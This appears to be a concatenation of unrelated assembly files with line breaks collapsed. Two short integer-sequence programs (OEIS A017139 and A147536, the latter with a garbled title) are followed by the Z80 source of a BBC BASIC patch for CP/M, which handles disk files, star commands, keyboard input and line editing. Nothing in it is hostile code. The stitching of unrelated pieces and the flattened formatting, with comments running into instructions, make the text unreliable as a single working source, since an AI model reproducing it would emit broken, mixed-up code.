; A017139: a(n) = (8*n + 6)^3. ; 216,2744,10648,27000,54872,97336,157464,238328,343000,474552,636056,830584,1061208,1331000,1643032,2000376,2406104,2863288,3375000,3944312,4574296,5268024,6028568,6859000,7762392,8741816,9800344,10941048,12167000,13481272,14886936,16387064,17984728,19683000,21484952,23393656,25412184,27543608,29791000,32157432,34645976,37259704,40001688,42875000,45882712,49027896,52313624,55742968,59319000,63044792,66923416,70957944,75151448,79507000,84027672,88716536,93576664,98611128,103823000,109215352 mul $0,8 mov $1,6 add $1,$0 pow $1,3 mov $0,$1
; A147536: A counting vertex substitution vector matrix Markov 2x2 with characteristic polynomial:12 - 7 x + x=^2 ; 5,16,52,172,580,1996,7012,25132,91780,340876,1284772,4902892,18902980,73486156,287567332,1131137452,4467154180,17696429836,70269158692,279526952812,1113458765380 mov $1,4 mov $2,4 pow $2,$0 lpb $0 sub $0,1 mul $1,3 lpe add $1,$2 mul $1,4 sub $1,5 mul $1,343 div $1,4 sub $1,1286 div $1,343 add $1,5
; TITLE BBC BASIC (C) R.T.RUSSELL 1984 ; ;PATCH FOR BBC BASIC TO CP/M 2.2 & 3.0 ;* PLAIN VANILLA CP/M VERSION * ;(C) COPYRIGHT R.T.RUSSELL, 25-12-1986 ; ;** NEW TO THIS VERSION ; restart equ $0000 ; CP/M restart vector ;bdos equ $0005 ; BDOS invocation vector include "constants.inc" PUBLIC OSINIT PUBLIC OSRDCH PUBLIC OSWRCH PUBLIC OSLINE PUBLIC OSSAVE PUBLIC OSLOAD PUBLIC OSOPEN PUBLIC OSSHUT PUBLIC OSBGET PUBLIC OSBPUT PUBLIC OSSTAT PUBLIC GETEXT PUBLIC GETPTR PUBLIC PUTPTR PUBLIC PROMPT PUBLIC RESET PUBLIC LTRAP PUBLIC OSCLI PUBLIC TRAP PUBLIC OSKEY PUBLIC OSCALL ; EXTERN ESCAPE EXTERN EXTERR EXTERN CHECK EXTERN CRLF EXTERN TELL EXTERN AUD_TIMERTICK ; EXTERN ACCS EXTERN FREE EXTERN HIMEM EXTERN ERRLIN ; ;OSSAVE - Save an area of memory to a file. ; Inputs: HL addresses filename (term CR) ; DE = start address of data to save ; BC = length of data to save (bytes) ; Destroys: A,B,C,D,E,H,L,F ; STSAVE: CALL SAVLOD ;*SAVE JP C,HUH ;"Bad command" PUSH HL JR OSS1 ; OSSAVE: PUSH BC ;SAVE CALL SETUP0 OSS1: EX DE,HL CALL CREATE JR NZ,SAVE DIRFUL: LD A,190 CALL EXTERR DEFM "Directory full" DEFB 0 SAVE: CALL WRITE ADD HL,BC EX (SP),HL SBC HL,BC EX (SP),HL JR Z,SAVE1 JR NC,SAVE SAVE1: POP BC CLOSE: LD A,16 CALL BDOS1 INC A RET NZ LD A,200 CALL EXTERR DEFM "Close error" DEFB 0 ; ;OSSHUT - Close disk file(s). ; Inputs: E = file channel ; If E=0 all files are closed (except SPOOL) ; Destroys: A,B,C,D,E,H,L,F ; OSSHUT: LD A,E OR A JR NZ,SHUT1 SHUT0: INC E BIT 3,E RET NZ PUSH DE CALL SHUT1 POP DE JR SHUT0 ; SESHUT: LD HL,FLAGS RES 0,(HL) ;STOP EXEC RES 1,(HL) ;STOP SPOOL LD E,8 ;SPOOL/EXEC CHANNEL SHUT1: CALL FIND1 RET Z XOR A LD (HL),A DEC HL LD (HL),A LD HL,37 ADD HL,DE BIT 7,(HL) INC HL CALL NZ,WRITE LD HL,FCBSIZ ADD HL,DE LD BC,(FREE) SBC HL,BC JR NZ,CLOSE LD (FREE),DE ;RELEASE SPACE JR CLOSE ; ;TYPE - *TYPE command. ;Types file to console output. ; TYPE: SCF ;*TYPE CALL OSOPEN OR A JR Z,NOTFND LD E,A TYPE1: LD A,(FLAGS) ;TEST BIT 7,A ;FOR JR NZ,TYPESC ;ESCape CALL OSBGET CALL OSWRCH ;N.B. CALLS "TEST" JR NC,TYPE1 JR OSSHUT ; TYPESC: CALL OSSHUT ;CLOSE! JP ABORT ; ;OSLOAD - Load an area of memory from a file. ; Inputs: HL addresses filename (term CR) ; DE = address at which to load ; BC = maximum allowed size (bytes) ; Outputs: Carry reset indicates no room for file. ; Destroys: A,B,C,D,E,H,L,F ; STLOAD: CALL SAVLOD ;*LOAD PUSH HL JR OSL1 ; OSLOAD: PUSH BC ;LOAD CALL SETUP0 OSL1: EX DE,HL CALL OPEN JR NZ,LOAD0 NOTFND: LD A,214 CALL EXTERR DEFM "File not found" DEFB 0 LOAD: CALL READ JR NZ,LOAD1 CALL INCSEC ADD HL,BC LOAD0: EX (SP),HL SBC HL,BC EX (SP),HL JR NC,LOAD LOAD1: POP BC PUSH AF CALL CLOSE POP AF CCF OSCALL: RET ; ;OSOPEN - Open a file for reading or writing. ; Inputs: HL addresses filename (term CR) ; Carry set for OPENIN, cleared for OPENOUT. ; Outputs: A = file channel (=0 if cannot open) ; DE = file FCB ; Destroys: A,B,C,D,E,H,L,F ; OPENIT: PUSH AF ;SAVE CARRY CALL SETUP0 POP AF CALL NC,CREATE CALL C,OPEN RET ; OSOPEN: CALL OPENIT RET Z ;ERROR LD B,7 ;MAX. NUMBER OF FILES LD HL,TABLE+15 OPEN1: LD A,(HL) DEC HL OR (HL) JR Z,OPEN2 ;FREE CHANNEL DEC HL DJNZ OPEN1 LD A,192 CALL EXTERR DEFM "Too many open files" DEFB 0 ; OPEN2: LD DE,(FREE) ;FREE SPACE POINTER LD (HL),E INC HL LD (HL),D LD A,B ;CHANNEL (1-7) LD HL,FCBSIZ ADD HL,DE ;RESERVE SPACE LD (FREE),HL OPEN3: LD HL,FCB ;ENTRY FROM SPOOL/EXEC PUSH DE LD BC,36 LDIR ;COPY FCB EX DE,HL INC HL LD (HL),C ;CLEAR PTR INC HL POP DE LD B,A CALL RDF ;READ OR FILL LD A,B JP CHECK ; ;OSBPUT - Write a byte to a random disk file. ; Inputs: E = file channel ; A = byte to write ; Destroys: A,B,C,F ; OSBPUT: PUSH DE PUSH HL LD B,A CALL FIND LD A,B LD B,0 DEC HL LD (HL),B ;CLEAR EOF INC HL LD C,(HL) RES 7,C SET 7,(HL) INC (HL) INC HL PUSH HL ADD HL,BC LD (HL),A POP HL CALL Z,WRRDF ;WRITE THEN READ/FILL POP HL POP DE RET ; ;OSBGET - Read a byte from a random disk file. ; Inputs: E = file channel ; Outputs: A = byte read ; Carry set if LAST BYTE of file ; Destroys: A,B,C,F ; OSBGET: PUSH DE PUSH HL CALL FIND LD C,(HL) RES 7,C INC (HL) INC HL PUSH HL LD B,0 ADD HL,BC LD B,(HL) POP HL CALL PE,INCRDF ;INC SECTOR THEN READ CALL Z,WRRDF ;WRITE THEN READ/FILL LD A,B POP HL POP DE RET ; ;OSSTAT - Read file status. ; Inputs: E = file channel ; Outputs: Z flag set - EOF ; (If Z then A=0) ; DE = address of file block. ; Destroys: A,D,E,H,L,F ; OSSTAT: CALL FIND DEC HL LD A,(HL) INC A RET ; ;GETEXT - Find file size. ; Inputs: E = file channel ; Outputs: DEHL = file size (0-&800000) ; Destroys: A,B,C,D,E,H,L,F ; GETEXT: CALL FIND EX DE,HL LD DE,FCB LD BC,36 PUSH DE LDIR ;COPY FCB EX DE,HL EX (SP),HL EX DE,HL LD A,35 CALL BDOS1 ;COMPUTE SIZE POP HL XOR A JR GETPT1 ; ;GETPTR - Return file pointer. ; Inputs: E = file channel ; Outputs: DEHL = pointer (0-&7FFFFF) ; Destroys: A,B,C,D,E,H,L,F ; GETPTR: CALL FIND LD A,(HL) ADD A,A DEC HL GETPT1: DEC HL LD D,(HL) DEC HL LD E,(HL) DEC HL LD H,(HL) LD L,A SRL D RR E RR H RR L RET ; ;PUTPTR - Update file pointer. ; Inputs: A = file channel ; DEHL = new pointer (0-&7FFFFF) ; Destroys: A,B,C,D,E,H,L,F ; PUTPTR: LD D,L ADD HL,HL RL E LD B,E LD C,H LD E,A ;CHANNEL PUSH DE CALL FIND POP AF AND 7FH BIT 7,(HL) ;PENDING WRITE? JR Z,PUTPT1 OR 80H PUTPT1: LD (HL),A PUSH DE PUSH HL DEC HL DEC HL DEC HL LD D,(HL) DEC HL LD E,(HL) EX DE,HL OR A SBC HL,BC POP HL POP DE RET Z INC HL OR A CALL M,WRITE PUSH HL DEC HL DEC HL DEC HL LD (HL),0 DEC HL LD (HL),B DEC HL LD (HL),C ;NEW RECORD NO. POP HL JR RDF ; ;WRRDF - Write, read; if EOF fill with zeroes. ;RDF - Read; if EOF fill with zeroes. ; Inputs: DE address FCB. ; HL addresses data buffer. ; Outputs: A=0, Z-flag set. ; Carry set if fill done (EOF) ; Destroys: A,H,L,F ; WRRDF: CALL WRITE RDF: CALL READ DEC HL RES 7,(HL) DEC HL LD (HL),A ;CLEAR EOF FLAG RET Z LD (HL),-1 ;SET EOF FLAG INC HL INC HL PUSH BC XOR A LD B,128 FILL: LD (HL),A INC HL DJNZ FILL POP BC SCF RET ; ;INCRDF - Increment record, read; if EOF fill. ; Inputs: DE addresses FCB. ; HL addresses data buffer. ; Outputs: A=1, Z-flag reset. ; Carry set if fill done (EOF) ; Destroys: A,H,L,F ; INCRDF: CALL INCSEC CALL RDF INC A RET ; ;READ - Read a record from a disk file. ; Inputs: DE addresses FCB. ; HL = address to store data. ; Outputs: A<>0 & Z-flag reset indicates EOF. ; Carry = 0 ; Destroys: A,F ; ;BDOS1 - CP/M BDOS call. ; Inputs: A = function number ; DE = parameter ; Outputs: AF = result (carry=0) ; Destroys: A,F ; READ: CALL SETDMA LD A,33 BDOS1: CALL BDOS0 ;* JR NZ,CPMERR ;* OR A ;* RET ;* CPMERR: LD A,255 ;* CP/M 3 CALL EXTERR ;* BDOS ERROR DEFM "CP/M Error" ;* DEFB 0 ;* ; BDOS0: PUSH BC PUSH DE PUSH HL PUSH IX PUSH IY LD C,A CALL BDOS INC H ;* TEST H DEC H ;* CP/M 3 ONLY POP IY POP IX POP HL POP DE POP BC RET ; ;WRITE - Write a record to a disk file. ; Inputs: DE addresses FCB. ; HL = address to get data. ; Destroys: A,F ; WRITE: CALL SETDMA LD A,40 CALL BDOS1 JR Z,INCSEC LD A,198 CALL EXTERR DEFM "Disk full" DEFB 0 ; ;INCSEC - Increment random record number. ; Inputs: DE addresses FCB. ; Destroys: F ; INCSEC: PUSH HL LD HL,33 ADD HL,DE INCS1: INC (HL) INC HL JR Z,INCS1 POP HL RET ; ;OPEN - Open a file for access. ; Inputs: FCB set up. ; Outputs: DE = FCB ; A=0 & Z-flag set indicates Not Found. ; Carry = 0 ; Destroys: A,D,E,F ; OPEN: LD DE,FCB LD A,15 CALL BDOS1 INC A RET ; ;CREATE - Create a disk file for writing. ; Inputs: FCB set up. ; Outputs: DE = FCB ; A=0 & Z-flag set indicates directory full. ; Carry = 0 ; Destroys: A,D,E,F ; CREATE: CALL CHKAMB LD DE,FCB LD A,19 CALL BDOS1 ;DELETE LD A,22 CALL BDOS1 ;MAKE INC A RET ; ;CHKAMB - Check for ambiguous filename. ; Destroys: A,D,E,F ; CHKAMB: PUSH BC LD DE,FCB LD B,12 CHKAM1: LD A,(DE) CP '?' JR Z,AMBIG ;AMBIGUOUS INC DE DJNZ CHKAM1 POP BC RET AMBIG: LD A,204 CALL EXTERR DEFM "Bad name" DEFB 0 ; ;SETDMA - Set "DMA" address. ; Inputs: HL = address ; Destroys: A,F ; SETDMA: LD A,26 EX DE,HL CALL BDOS0 EX DE,HL RET ; ;FIND - Find file parameters from channel. ; Inputs: E = channel ; Outputs: DE addresses FCB ; HL addresses pointer byte (FCB+37) ; Destroys: A,D,E,H,L,F ; FIND: CALL FIND1 LD HL,37 ADD HL,DE RET NZ LD A,222 CALL EXTERR DEFM "Channel" DEFB 0 ; ;FIND1 - Look up file table. ; Inputs: E = channel ; Outputs: Z-flag set = file not opened ; If NZ, DE addresses FCB ; HL points into table ; Destroys: A,D,E,H,L,F ; FIND1: LD A,E AND 7 ADD A,A LD E,A LD D,0 LD HL,TABLE ADD HL,DE LD E,(HL) INC HL LD D,(HL) LD A,D OR E RET ; ;SETUP - Set up File Control Block. ; Inputs: HL addresses filename ; Format [A:]FILENAME[.EXT] ; Device defaults to current drive ; Extension defaults to .BBC ; A = fill character ; Outputs: HL updated ; A = terminator ; BC = 128 ; Destroys: A,B,C,H,L,F ; ;FCB FORMAT (36 BYTES TOTAL): ; 0 0=SAME DISK, 1=DISK A, 2=DISK B (ETC.) ; 1-8 FILENAME, PADDED WITH SPACES ; 9-11 EXTENSION, PADDED WITH SPACES ; 12 CURRENT EXTENT, SET TO ZERO ; 32-35 CLEARED TO ZERO ; SETUP0: LD A,' ' SETUP: PUSH DE PUSH HL LD DE,FCB+9 LD HL,BBC LD BC,3 LDIR LD HL,FCB+32 LD B,4 SETUP1: LD (HL),C INC HL DJNZ SETUP1 POP HL LD C,A XOR A LD (DE),A POP DE CALL SKIPSP CP DOUBLE_QUOTE JR NZ,SETUP2 INC HL CALL SKIPSP CALL SETUP2 CP DOUBLE_QUOTE INC HL JR Z,SKIPSP BADSTR: LD A,253 CALL EXTERR DEFM "Bad string" DEFB 0 ; PARSE: LD A,(HL) INC HL CP '`' RET NC CP '?' RET C XOR 40H RET ; SETUP2: PUSH DE INC HL LD A,(HL) CP ':' DEC HL LD A,B JR NZ,DEVICE LD A,(HL) ;DRIVE AND 31 INC HL INC HL DEVICE: LD DE,FCB LD (DE),A INC DE LD B,8 COPYF: LD A,(HL) CP '.' JR Z,COPYF1 CP ' ' JR Z,COPYF1 CP CR JR Z,COPYF1 CP '=' JR Z,COPYF1 CP DOUBLE_QUOTE JR Z,COPYF1 LD C,'?' CP '*' JR Z,COPYF1 LD C,' ' INC HL CP '|' JR NZ,COPYF2 CALL PARSE JR COPYF0 COPYF1: LD A,C COPYF2: CALL UPPRC COPYF0: LD (DE),A INC DE DJNZ COPYF COPYF3: LD A,(HL) INC HL CP '*' JR Z,COPYF3 CP '.' LD BC,3*256+' ' LD DE,FCB+9 JR Z,COPYF DEC HL POP DE LD BC,128 SKIPSP: LD A,(HL) CP ' ' RET NZ INC HL JR SKIPSP ; BBC: DEFM "BBC" ; ;HEX - Read a hex string and convert to binary. ; Inputs: HL = text pointer ; Outputs: HL = updated text pointer ; DE = value ; A = terminator (spaces skipped) ; Destroys: A,D,E,H,L,F ; HEX: LD DE,0 ;INITIALISE CALL SKIPSP HEX1: LD A,(HL) CALL UPPRC CP '0' JR C,SKIPSP CP '9'+1 JR C,HEX2 CP 'A' JR C,SKIPSP CP 'F'+1 JR NC,SKIPSP SUB 7 HEX2: AND 0FH EX DE,HL ADD HL,HL ADD HL,HL ADD HL,HL ADD HL,HL EX DE,HL OR E LD E,A INC HL JR HEX1 ; ;OSCLI - Process an "operating system" command ; OSCLI: CALL SKIPSP CP CR RET Z CP '|' RET Z CP '.' JP Z,DOT ;*. EX DE,HL LD HL,COMDS OSCLI0: LD A,(DE) CALL UPPRC ; CONVERT A TO UPERCASE CP (HL) JR Z,OSCLI2 JR C,HUH OSCLI1: BIT 7,(HL) INC HL JR Z,OSCLI1 INC HL INC HL JR OSCLI0 ; OSCLI2: PUSH DE OSCLI3: INC DE INC HL LD A,(DE) CALL UPPRC CP '.' ;ABBREVIATED? JR Z,OSCLI4 XOR (HL) JR Z,OSCLI3 CP 80H JR Z,OSCLI4 POP DE JR OSCLI1 ; OSCLI4: POP AF ; MATCHED? INC DE OSCLI5: BIT 7,(HL) INC HL JR Z,OSCLI5 LD A,(HL) INC HL LD H,(HL) LD L,A PUSH HL EX DE,HL JP SKIPSP ; ; ERA: CALL SETUP0 ;*ERA, *ERASE LD C,19 JR XEQ ;"DELETE" ; RES: LD C,13 ;*RESET JR XEQ ;"RESET" ; DRV: CALL SETUP0 ;*DRIVE LD A,(FCB) DEC A JP M,HUH LD E,A LD C,14 JR XEQ0 ; REN: CALL SETUP0 ;*REN, *RENAME CP '=' JR NZ,HUH INC HL ;SKIP "=" PUSH HL CALL EXISTS LD HL,FCB LD DE,FCB+16 LD BC,12 LDIR POP HL CALL SETUP0 CALL CHKAMB LD C,23 XEQ: LD DE,FCB XEQ0: LD A,(HL) CP CR JR NZ,HUH BDC: LD A,C CALL BDOS1 RET P HUH: LD A,254 CALL EXTERR DEFM "Bad command" DEFB 0 ; EXISTS: LD HL,DSKBUF CALL SETDMA LD DE,FCB LD A,17 CALL BDOS1 ;SEARCH INC A RET Z LD A,196 CALL EXTERR DEFM "File exists" DEFB 0 ; SAVLOD: CALL SETUP0 ;PART OF *SAVE, *LOAD CALL HEX CP '+' PUSH AF PUSH DE JR NZ,SAVLO1 INC HL SAVLO1: CALL HEX CP CR JR NZ,HUH EX DE,HL POP DE POP AF RET Z OR A SBC HL,DE RET NZ JR HUH ; DOT: INC HL DIR: LD A,'?' ;*DIR CALL SETUP CP CR JR NZ,HUH LD C,17 DIR0: LD B,4 DIR1: CALL LTRAP LD DE,FCB LD HL,DSKBUF CALL SETDMA LD A,C CALL BDOS1 ;SEARCH DIRECTORY JP M,CRLF RRCA RRCA RRCA AND 60H LD E,A LD D,0 LD HL,DSKBUF+1 ADD HL,DE PUSH HL LD DE,8 ;** ADD HL,DE LD E,(HL) ;** INC HL ;** BIT 7,(HL) ;SYSTEM FILE? POP HL LD C,18 JR NZ,DIR1 PUSH BC LD A,(FCB) DEC A LD C,25 CALL M,BDC ADD A,'A' CALL OSWRCH LD B,8 LD A,' ' ;** BIT 7,E ;** READ ONLY? JR Z,DIR3 ;** LD A,'*' ;** DIR3: CALL CPTEXT LD B,3 LD A,' ' ;** CALL SPTEXT POP BC DJNZ DIR2 CALL CRLF JR DIR0 ; DIR2: PUSH BC LD B,5 PAD: LD A,' ' CALL OSWRCH DJNZ PAD POP BC JR DIR1 ; OPT: CALL HEX ;*OPT LD A,E AND 3 SETOPT: LD (OPTVAL),A RET ; RESET: XOR A JR SETOPT ; EXEC: LD A,00000001B ;*EXEC DEFB 1 ;SKIP 2 BYTES (LD BC) SPOOL: LD A,00000010B ;*SPOOL PUSH AF PUSH HL CALL SESHUT ;STOP SPOOL/EXEC POP HL POP BC LD A,(HL) CP CR ;JUST SHUT? RET Z LD A,(FLAGS) OR B LD (FLAGS),A ;SPOOL/EXEC FLAG RRA ;CARRY=1 FOR EXEC CALL OPENIT ;OPEN SPOOL/EXEC FILE RET Z ;DIR FULL / NOT FOUND POP IX ;RETURN ADDRESS LD HL,(HIMEM) OR A SBC HL,SP ;SP=HIMEM? ADD HL,SP JR NZ,JPIX ;ABORT LD BC,-FCBSIZ ADD HL,BC ;HL=HL-FCBSIZ LD (HIMEM),HL ;NEW HIMEM LD (TABLE),HL ;FCB/BUFFER LD SP,HL ;NEW SP EX DE,HL CALL OPEN3 ;FINISH OPEN OPERATION JPIX: JP (IX) ;"RETURN" ; UPPRC: AND 7FH CP '`' RET C AND 5FH ;CONVERT TO UPPER CASE RET ; ;*ESC COMMAND ; ESCCTL: LD A,(HL) CALL UPPRC ;** CP 'O' JR NZ,ESCC1 INC HL ESCC1: CALL HEX LD A,E OR A LD HL,FLAGS RES 6,(HL) ;ENABLE ESCAPE RET Z SET 6,(HL) ;DISABLE ESCAPE RET ; ; COMDS: DEFM "BY" DEFB 'E'+80H DEFW BYE DEFM "CP" DEFB 'M'+80H DEFW BYE DEFM "DI" DEFB 'R'+80H DEFW DIR DEFM "DRIV" DEFB 'E'+80H DEFW DRV DEFM "ERAS" DEFB 'E'+80H DEFW ERA DEFM "ER" DEFB 'A'+80H DEFW ERA DEFM "ES" DEFB 'C'+80H DEFW ESCCTL DEFM "EXE" DEFB 'C'+80H DEFW EXEC DEFM "LOA" DEFB 'D'+80H DEFW STLOAD DEFM "OP" DEFB 'T'+80H DEFW OPT DEFM "RENAM" DEFB 'E'+80H DEFW REN DEFM "RE" DEFB 'N'+80H DEFW REN DEFM "RESE" DEFB 'T'+80H DEFW RES DEFM "SAV" DEFB 'E'+80H DEFW STSAVE DEFM "SPOO" DEFB 'L'+80H DEFW SPOOL DEFM "TYP" DEFB 'E'+80H DEFW TYPE DEFB 0FFH ; ;PTEXT - Print text ; Inputs: HL = address of text ; B = number of characters to print ; Destroys: A,B,H,L,F ; CPTEXT: PUSH AF ;** LD A,':' CALL OSWRCH POP AF ;** SPTEXT: CALL OSWRCH ;** PTEXT: LD A,(HL) AND 7FH INC HL CALL OSWRCH DJNZ PTEXT RET ; ;OSINIT - Initialise RAM mapping etc. ;If BASIC is entered by BBCBASIC FILENAME then file ;FILENAME.BBC is automatically CHAINed. ; Outputs: DE = initial value of HIMEM (top of RAM) ; HL = initial value of PAGE (user program) ; Z-flag reset indicates AUTO-RUN. ; Destroys: A,B,C,D,E,H,L,F ; OSINIT: LD C,45 ;* LD E,254 ;* CALL BDOS ;* LD B,INILEN LD HL,TABLE CLRTAB: LD (HL),A ;CLEAR FILE TABLE ETC. INC HL DJNZ CLRTAB LD DE,ACCS LD HL,DSKBUF LD C,(HL) INC HL CP C ;N.B. A=B=0 JR Z,NOBOOT LDIR ;COPY TO ACC$ NOBOOT: EX DE,HL LD (HL),CR RET ; ;BYE - Stop interrupts and return to CP/M. ; BYE: RST 0 ; ; ;TRAP - Test ESCAPE flag and abort if set; ; every 20th call, test for keypress. ; Destroys: A,H,L,F ; ;LTRAP - Test ESCAPE flag and abort if set. ; Destroys: A,F ; TRAP: LD HL,TRPCNT DEC (HL) CALL Z,TEST20 ;TEST KEYBOARD LTRAP: LD A,(FLAGS) ;ESCAPE FLAG OR A ;TEST RET P ABORT: LD HL,FLAGS ;ACKNOWLEDGE RES 7,(HL) ;ESCAPE JP ESCAPE ;AND ABORT ; ;TEST - Sample for ESCape and CTRL/S. If ESCape ; pressed set ESCAPE flag and return. ; Destroys: A,F ; TEST20: LD (HL),20 TEST: PUSH DE exx PUSH BC PUSH HL CALL AUD_TIMERTICK ; EMULATE A BEST GUESS TIME TICK POP HL POP BC exx LD A,6 LD E,0FFH CALL BDOS0 POP DE OR A RET Z CP 'S' & 1FH ;PAUSE DISPLAY? JR Z,OSRDCH CP ESC JR Z,ESCSET LD (INKEY),A RET ; ;OSRDCH - Read from the current input stream (keyboard). ; Outputs: A = character ; Destroys: A,F ; KEYGET: LD B,(IX-12) ;SCREEN WIDTH OSRDCH: LD A,(FLAGS) RRA ;*EXEC ACTIVE? JR C,EXECIN PUSH HL SBC HL,HL ;HL=0 CALL OSKEY POP HL RET C JR OSRDCH ; ;EXECIN - Read byte from EXEC file ; Outputs: A = byte read ; Destroys: A,F ; EXECIN: PUSH BC ;SAVE REGISTERS PUSH DE PUSH HL LD E,8 ;SPOOL/EXEC CHANNEL LD HL,FLAGS RES 0,(HL) CALL OSBGET SET 0,(HL) PUSH AF CALL C,SESHUT ;END EXEC IF EOF POP AF POP HL ;RESTORE REGISTERS POP DE POP BC RET ; ; ;OSKEY - Read key with time-limit, test for ESCape. ;Main function is carried out in user patch. ; Inputs: HL = time limit (centiseconds) ; Outputs: Carry reset if time-out ; If carry set A = character ; Destroys: A,H,L,F ; OSKEY: PUSH HL LD HL,INKEY LD A,(HL) LD (HL),0 POP HL OR A SCF RET NZ PUSH DE CALL GETKEY POP DE RET NC CP ESC SCF RET NZ ESCSET: PUSH HL LD HL,FLAGS BIT 6,(HL) ;ESC DISABLED? JR NZ,ESCDIS SET 7,(HL) ;SET ESCAPE FLAG ESCDIS: POP HL RET ; ;GETKEY - Sample keyboard with specified wait. ; Inputs: HL = Time to wait (centiseconds) ; Outputs: Carry reset indicates time-out. ; If carry set, A = character typed. ; Destroys: A,D,E,H,L,F ; GETKEY: PUSH BC PUSH HL CALL AUD_TIMERTICK ; EMULATE A BEST GUESS TIME TICK LD C,6 LD E,0FFH CALL BDOS ;CONSOLE INPUT POP HL POP BC OR A SCF RET NZ ;KEY PRESSED OR H OR L RET Z ;TIME-OUT PUSH HL LD HL,TIME LD A,(HL) WAIT1: CP (HL) JR Z,WAIT1 ;WAIT FOR 10 ms. POP HL DEC HL JR GETKEY ; ;OSWRCH - Write a character to console output. ; Inputs: A = character. ; Destroys: Nothing ; OSWRCH: PUSH AF PUSH DE PUSH HL LD E,A CALL TEST CALL EDPUT POP HL POP DE POP AF RET ; EDPUT: LD A,(FLAGS) BIT 3,A JR Z,WRCH LD A,E CP ' ' RET C LD HL,(EDPTR) LD (HL),E INC L RET Z LD (EDPTR),HL RET ; PROMPT: LD E,'>' WRCH: LD A,(OPTVAL) ;FAST ENTRY ADD A,3 CP 3 JR NZ,WRCH1 ADD A,E LD A,2 JR C,WRCH1 LD A,6 WRCH1: CALL BDOS0 LD HL,FLAGS BIT 2,(HL) LD A,5 ;PRINTER O/P CALL NZ,BDOS0 BIT 1,(HL) ;SPOOLING? RET Z RES 1,(HL) LD A,E ;BYTE TO WRITE LD E,8 ;SPOOL/EXEC CHANNEL PUSH BC CALL OSBPUT POP BC SET 1,(HL) RET ; TOGGLE: LD A,(FLAGS) XOR 00000100B LD (FLAGS),A RET ; ;OSLINE - Read/edit a complete line, terminated by CR. ; Inputs: HL addresses destination buffer. ; (L=0) ; Outputs: Buffer filled, terminated by CR. ; A=0. ; Destroys: A,B,C,D,E,H,L,F ; OSLINE: LD IX,KEYS LD A,(FLAGS) BIT 3,A ;EDIT MODE? JR Z,OSLIN1 RES 3,A LD (FLAGS),A LD HL,(EDPTR) CP L OSLIN1: LD A,CR LD (HL),A CALL NZ,OSWRCH LD L,0 LD C,L ;REPEAT FLAG JR Z,OSWAIT ;SUPPRESS UNWANTED SPACE UPDATE: LD B,0 UPD1: LD A,(HL) INC B INC HL CP CR PUSH AF PUSH HL LD E,A CALL NZ,WRCH ;FAST WRCH POP HL POP AF JR NZ,UPD1 LD A,' ' CALL OSWRCH LD E,BS UPD2: PUSH HL CALL WRCH ;FAST WRCH POP HL DEC HL DJNZ UPD2 OSWAIT: LD A,C DEC B JR Z,LIMIT OR A ;REPEAT COMMAND? LIMIT: CALL Z,KEYGET ;READ KEYBOARD LD C,A ;SAVE FOR REPEAT LD DE,OSWAIT ;RETURN ADDRESS PUSH DE LD A,(FLAGS) OR A ;TEST FOR ESCAPE LD A,C JP M,OSEXIT CP (IX-11) ;CURSOR UP (IX-11) JP Z,LEFT CP (IX-10) ;CURSOR DOWN (IX-10) JP Z,RIGHT LD B,0 CP (IX-5) ;CLEAR LEFT (IX-5) JR Z,BACK CP (IX-9) ;START OF LINE (IX-9) JR Z,LEFT CP (IX-7) ;CLEAR RIGHT (IX-7) JR Z,DELETE CP (IX-8) ;END OF LINE (IX-8) JP Z,RIGHT LD C,0 ;INHIBIT REPEAT CP 'P' & 1FH JP Z,TOGGLE CP (IX-6) ;DELETE LEFT (IX-6) JR Z,BACK CP (IX-4) ;CURSOR LEFT (IX-4) JR Z,LEFT CP (IX-2) ;DELETE RIGHT (IX-2) JR Z,DELETE CP (IX-1) ;INSERT SPACE (IX-1) JR Z,INSERT CP (IX-3) ;CURSOR RIGHT (IX-3) JR Z,RIGHT CP ' ' ;PRINTING CHARACTER JR NC,SAVECH CP CR ;ENTER LINE RET NZ OSEXIT: LD A,(HL) CALL OSWRCH ;WRITE REST OF LINE INC HL SUB CR JR NZ,OSEXIT POP DE ;DITCH RETURN ADDRESS CP C JP NZ,ABORT ;ESCAPE LD A,LF CALL OSWRCH LD DE,(ERRLIN) XOR A LD L,A LD (EDPTR),HL CP D RET NZ CP E RET NZ LD DE,EDITST LD B,4 CMPARE: LD A,(DE) CP (HL) LD A,0 RET NZ INC HL INC DE LD A,(HL) CP '.' JR Z,ABBR DJNZ CMPARE ABBR: XOR A LD B,A LD C,L LD L,A LD DE,LISTST EX DE,HL LDIR LD HL,FLAGS SET 3,(HL) RET ; BACK: SCF ;DELETE LEFT LEFT: INC L ;CURSOR LEFT DEC L JR Z,STOP LD A,BS CALL OSWRCH DEC L RET NC DELETE: LD A,(HL) ;DELETE RIGHT CP CR JR Z,STOP LD D,H LD E,L DEL1: INC DE LD A,(DE) DEC DE LD (DE),A INC DE CP CR JR NZ,DEL1 DEL2: POP DE ;DITCH JP UPDATE ; INSERT: LD A,CR ;INSERT SPACE CP (HL) RET Z LD D,H LD E,254 INS1: INC DE LD (DE),A DEC DE LD A,E CP L DEC DE LD A,(DE) JR NZ,INS1 LD (HL),' ' JR DEL2 ; RIGHT: LD A,(HL) ;CURSOR RIGHT CP CR JR Z,STOP SAVECH: LD D,(HL) ;PRINTING CHARACTER LD (HL),A INC L JR Z,WONTGO ;LINE TOO LONG CALL OSWRCH LD A,CR CP D RET NZ LD (HL),A RET ; WONTGO: DEC L LD (HL),CR LD A,BEL CALL OSWRCH ;BEEP! STOP: LD C,0 ;STOP REPEAT RET ; ; EDITST: DEFM "EDIT" LISTST: DEFM "LIST" ; ; keyboard definitions DEFB 80 ;WIDTH DEFB 'E' & 1FH ;CURSOR UP DEFB 'X' & 1FH ;CURSOR DOWN DEFB 'A' & 1FH ;START OF LINE DEFB 'F' & 1FH ;END OF LINE DEFB 'T' & 1FH ;DELETE TO END OF LINE DEFB 8H ;BACKSPACE & DELETE DEFB 'U' & 1FH ;CANCEL LINE DEFB 'S' & 1FH ;CURSOR LEFT DEFB 'D' & 1FH ;CURSOR RIGHT DEFB 'G' & 1FH ;DELETE CHARACTER DEFB 'V' & 1FH ;INSERT CHARACTER KEYS: ; ; BDOS EQU 5 ; FCB EQU 5CH DSKBUF EQU 80H ; FCBSIZ EQU 128+36+2 ; TIME: DEFS 4 ; TRPCNT: DEFB 10 TABLE: DEFS 16 ;FILE BLOCK POINTERS FLAGS: DEFB 0 INKEY: DEFB 0 EDPTR: DEFW 0 OPTVAL: DEFB 0 TABLEEND: INILEN EQU TABLEEND - TABLE
